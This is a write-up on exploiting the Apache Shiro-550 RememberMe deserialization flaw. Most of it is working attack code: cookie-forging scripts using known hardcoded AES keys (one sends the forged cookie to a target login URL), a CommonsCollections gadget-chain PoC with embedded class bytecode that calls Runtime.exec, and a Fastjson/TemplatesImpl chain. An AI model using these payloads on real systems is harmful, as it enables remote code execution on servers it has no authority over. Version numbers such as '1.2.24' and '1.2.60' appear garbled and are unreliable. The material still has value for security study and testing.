Understanding the Shiro Framework 550 Deserialization Vulnerability
Environment Setup
Required components: Shiro source code, JDK 8, Tomcat
Vulnerability Root Cause
The vulnerability affects Shiro versions <= 1.2.24, though higher vertions may also be vulnerable if developers configure hardcoded keys. The security flaw exists in the RememberMe functionality, which allows users to remain logged in after closing the browser. Developers implement this by serializing RememberMe values for storage and deserializing them for retrieval.
The processing flow is: Extract RememberMe value → Base64 decode → AES decrypt (using hardcoded key) → Deserialize (without filtering). The final two steps enable attackers to construct malicious objects.
Technical Analysis
By analyzing the login process and setting breakpoints at onSuccessfulLogin, we observe that RememberMeManager's abstract subclass handles the authentication flow. If isRememberMe(token) returns false, the process skips rememberIdentity(); otherwise, it proceeds.
The convertPrincipalsToBytes method converts the identity to byte arrays, followed by serialization and encryption via the encrypt() function. The AES encryption uses CBC mode with a hardcoded key obtained through getEncryptionCipherKey(). Since AES is symmetric encryption and the key is known, forgery becomes possible.
The encrypted data is then Base64 encoded and stored as a cookie. During decryption, the ClassResolvingObjectInputStream performs deserialization, which is where the vulnerability manifests.
Vulnerability Detection
Use URLDNS chain for verification. Generate encrypted payloads and test with the following script:
DEFAULT_KEY = "kPH+bIxk5D2deZiIxcaaaA=="
def create_encrypted_payload(filename):
with open(filename, "rb") as file:
payload_data = file.read()
block_size = AES.block_size
padding = lambda s: s + ((block_size - len(s) % block_size) *
chr(block_size - len(s) % block_size)).encode()
encryption_key = "kPH+bIxk5D2deZiIxcaaaA=="
cipher_mode = AES.MODE_CBC
initialization_vector = uuid.uuid4().bytes
cipher = AES.new(base64.b64decode(encryption_key), cipher_mode, initialization_vector)
encrypted_text = base64.b64encode(initialization_vector +
cipher.encrypt(padding(payload_data)))
return encrypted_text
if __name__ == "__main__":
binary_file = sys.argv[1]
print(create_encrypted_payload(binary_file))
Note: Remove JSESSIONID to insure RememberMe authentication is used.
Exploitation Methods
1. CommonsBeanutils Attack
Shiro includes CommonsBeanutils 1.8.3 by default. Generate compatible payloads matching the target environment version to avoid class loading issues.
2. CommonsCollections3 Attack
Shiro doesn't include CommonsCollections dependencies by default. Add CC3 dependencies manually. The ClassResolvingObjectInputStream cannot load array classes, requiring modifications to avoid array usage.
Original transformer array:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
Modified approach using single InvokerTransformer:
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
Working PoC:
public class ModifiedCC6Exploit {
public static void main(String[] args) throws Exception {
TemplatesImpl templateObj = new TemplatesImpl();
Class templateClass = TemplatesImpl.class;
Field nameField = templateClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templateObj, "test");
Field bytecodeField = templateClass.getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);
byte[] maliciousCode = Base64.getDecoder().decode("yv66vgAAADQALwoABwAhCgAiACMIACQKACIAJQcAJgcAJwcAKAEABjxpbml0PgEA" +
"AygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFi" +
"bGUBAAR0aGlzAQAPTGNvbS9rdWRvL1Rlc3Q7AQAJdHJhbnNmb3JtAQByKExjb20v" +
"c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1" +
"bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRp" +
"b25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hh" +
"bGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9v" +
"cmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I" +
"YW5kbGVyOwEACkV4Y2VwdGlvbnMHACkBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94" +
"YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwv" +
"aW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl" +
"L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylW" +
"AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9k" +
"dG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBh" +
"Y2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVy" +
"OwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAJgEAClNvdXJjZUZpbGUBAAlU" +
"ZXN0LmphdmEMAAgACQcAKgwAKwAsAQAEY2FsYwwALQAuAQATamF2YS9pby9JT0V4" +
"Y2VwdGlvbgEADWNvbS9rdWRvL1Rlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFs" +
"YW5haW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29t" +
"L3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj" +
"ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2" +
"YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGph" +
"dmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAABAABAAgACQABAAoAAAAvAAEAAQAA" +
"AAUqtwABsQAAAAIACwAAAAYAAQAAAAsADAAAAAwAAQAAAAUADQAOAAAAAQAPABAA" +
"AgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACAAAwAAAAEADQAO" +
"AAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAPABcAAgAKAAAASQAA" +
"AAQAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACoABAAAAAEADQAOAAAAAAABABEA" +
"EgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAgAHAAJAAEACgAAAE8A" +
"AgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAOAAkA" +
"EQAMAA8ADQASAAwAAAACAAAAHQAAAAcAAkwHAB4AAAEAHwAAAAIAIA==");
byte[][] codeArray = {maliciousCode};
bytecodeField.set(templateObj, codeArray);
InvokerTransformer invoker = new InvokerTransformer("newTransformer", null, null);
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), invoker);
TiedMapEntry tiedEntry = new TiedMapEntry(new HashMap(), templateObj);
HashMap<Object,Object> mainMap = new HashMap();
mainMap.put(tiedEntry, "value");
Class tiedMapEntryClass = Class.forName("org.apache.commons.collections.keyvalue.TiedMapEntry");
Field mapField = tiedMapEntryClass.getDeclaredField("map");
mapField.setAccessible(true);
mapField.set(tiedEntry, lazyMap);
// Serialize
new ObjectOutputStream(new FileOutputStream("payload.bin")).writeObject(mainMap);
// Deserialize
new ObjectInputStream(new FileInputStream("payload.bin")).readObject();
}
}
3. CommonsCollections4 Attack
Use CC2 chain direct since it doesn't involve array classes.
Practical Application
Testing with kvf-admin project (Shiro version 1.2.60) demonstrates that even newer Shiro versions can be vulnerable if developers use hardcoded keys.
GCM mode encryption script:
def create_gcm_payload(filename):
with open(filename, "rb") as file:
payload_data = file.read()
key = base64.b64decode("2AvVhdsgUs0FSA3SDFAdag==")
cipher = AES.new(key, AES.MODE_GCM)
ciphertext, auth_tag = cipher.encrypt_and_digest(payload_data)
nonce_value = cipher.nonce
encrypted_payload = nonce_value + ciphertext + auth_tag
rememberme_cookie = base64.b64encode(encrypted_payload).decode()
return rememberme_cookie
if __name__ == "__main__":
payload_file = sys.argv[1]
rememberMe_value = create_gcm_payload(payload_file)
print(rememberMe_value)
target_url = "http://target-ip/login"
headers = {
"Cookie": f"rememberMe={rememberMe_value}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
}
post_data = {"username": "test"}
response = requests.post(url=target_url, headers=headers, data=post_data)
print(response.text)
When CommonsCollections and CommonsBeanutils are unavailable, leverage Fastjson 1.2.79 deserialization chain:
public class FastjsonExploit {
public static byte[] generateTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Exploit");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String maliciousCode = "Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(maliciousCode);
return ctClass.toBytecode();
}
public static void setField(Object target, String fieldName, Object value) throws Exception{
Field field = target.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(target, value);
}
public static void main(String[] args) throws Exception {
byte[] bytecode = generateTemplates();
TemplatesImpl template = new TemplatesImpl();
setField(template, "_bytecodes", new byte[][] {bytecode});
setField(template, "_name", "Malicious");
JSONArray jsonArray = new JSONArray();
jsonArray.add(template);
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setField(exception, "val", jsonArray);
HashMap map = new HashMap();
map.put(template, exception);
new ObjectOutputStream(new FileOutputStream("fastjson_payload.bin")).writeObject(map);
new ObjectInputStream(new FileInputStream("fastjson_payload.bin")).readObject();
}
}